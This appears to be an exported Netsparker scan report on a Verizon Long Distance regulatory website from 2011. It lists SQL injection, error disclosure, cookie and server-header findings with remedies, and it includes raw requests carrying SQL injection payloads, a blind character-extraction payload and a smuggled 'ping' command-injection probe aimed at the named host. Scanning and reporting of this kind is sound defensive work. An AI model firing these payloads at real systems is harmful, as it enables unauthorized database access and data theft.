SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
GET /V2/page.asp?cat=-1+OR+17-7%3d10 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.verizonldregulatory.com Cookie: ASPSESSIONIDCQQDSQDA=KNKFKOKCFBOOCPKIKFIEDLJH Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Wed, 13 Jul 2011 12:48:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 13111 Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.
Remedy
A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">
<font face="Arial" size=2><p>Microsoft JET Database Engine</font> <font face="Arial" size=2>error '80040e14'</font><p><font face="Arial" size=2>Syntax error in query expression 'fldCATE_ID=%27 and (not fldDELETED) and fldSTYLE_ID=0 and fldSORTORDER='-99' and (not fldPREVIEW)'.</font><p><font face="Arial" size=2>/V2/page.asp</font><font face="Arial" size=2>, line 58</font>
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">
<font face="Arial" size=2><p>Microsoft JET Database Engine</font> <font face="Arial" size=2>error '80040e14'</font><p><font face="Arial" size=2>Syntax error in string in query expression 'fldCATE_ID="& ping -n 26 127.0.0.1 & and (not fldDELETED) and fldSTYLE_ID=0 and fldSORTORDER='-99' and (not fldPREVIEW) order by ID desc'.</font><p><font face="Arial" size=2>/V2/page.asp</font><font face="Arial" size=2>, line 58</font>
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">
<font face="Arial" size=2><p>Microsoft JET Database Engine</font> <font face="Arial" size=2>error '80040e14'</font><p><font face="Arial" size=2>Syntax error in string in query expression 'fldCATE_ID="& ping -n 26 127.0.0.1 & and (not fldDELETED) and fldSTYLE_ID=0 and fldSORTORDER='-99' and (not fldPREVIEW) order by ID desc'.</font><p><font face="Arial" size=2>/V2/page.asp</font><font face="Arial" size=2>, line 58</font>
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">
GET /V2/page.asp?cat=-1%20OR%201=1%20AND%20ASC(MID((CHR(78)%26CHR(69)%26CHR(84)%26CHR(83)%26CHR(80)%26CHR(65)%26CHR(82)%26CHR(75)%26CHR(69)%26CHR(82)),5,1))=88%00 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.verizonldregulatory.com Cookie: ASPSESSIONIDCQQDSQDA=KNKFKOKCFBOOCPKIKFIEDLJH Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Wed, 13 Jul 2011 12:48:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 10942 Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html> <head> <title>Verizon Long Distance: ABOUT VERIZON LONG DISTANCE</title> <meta name="robots" content="noindex, nofollow"> <!-- meta name was "description" content was "Verizon Communications, formed by the merger of GTE and Bell Atlantic, is one of the world's leading providers of wireline and wireless communications, the world's largest provider of print and online directory information, and has a global presence extending to over 30 countries in the Americas, Europe, Asia and the Pacific." --> <!-- meta name was "keywords" content was "verizon, communications, telecom, telecommunications, telephone, wireline, long distance, local phone services, wireless, cellular, cell phone, reverse number lookup, area code lookup, white pages, phone directory, dsl, internet, internet service providers, isp, isdn, dial-up internet access, voice services, data services, video services, conference services, istance learning, calling services, pay phones, phone equipment, business long distance, business services, residential services, enterprise solutions, wholesale services, federal markets, voice mail, three-way calling, call waiting, caller id, *69, call block, online billing, high-speed Internet connections, visual disability solutions, cognitive disability solutions, hearing loss solutions, TTY, speech disability solutions, mobility limitation solutions." --> <link rel="stylesheet" type="text/css" href="CSS/Global.css"> <script src="Includes/Javascript/Global.js"></script> </head> <body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" bgcolor="#ffffff">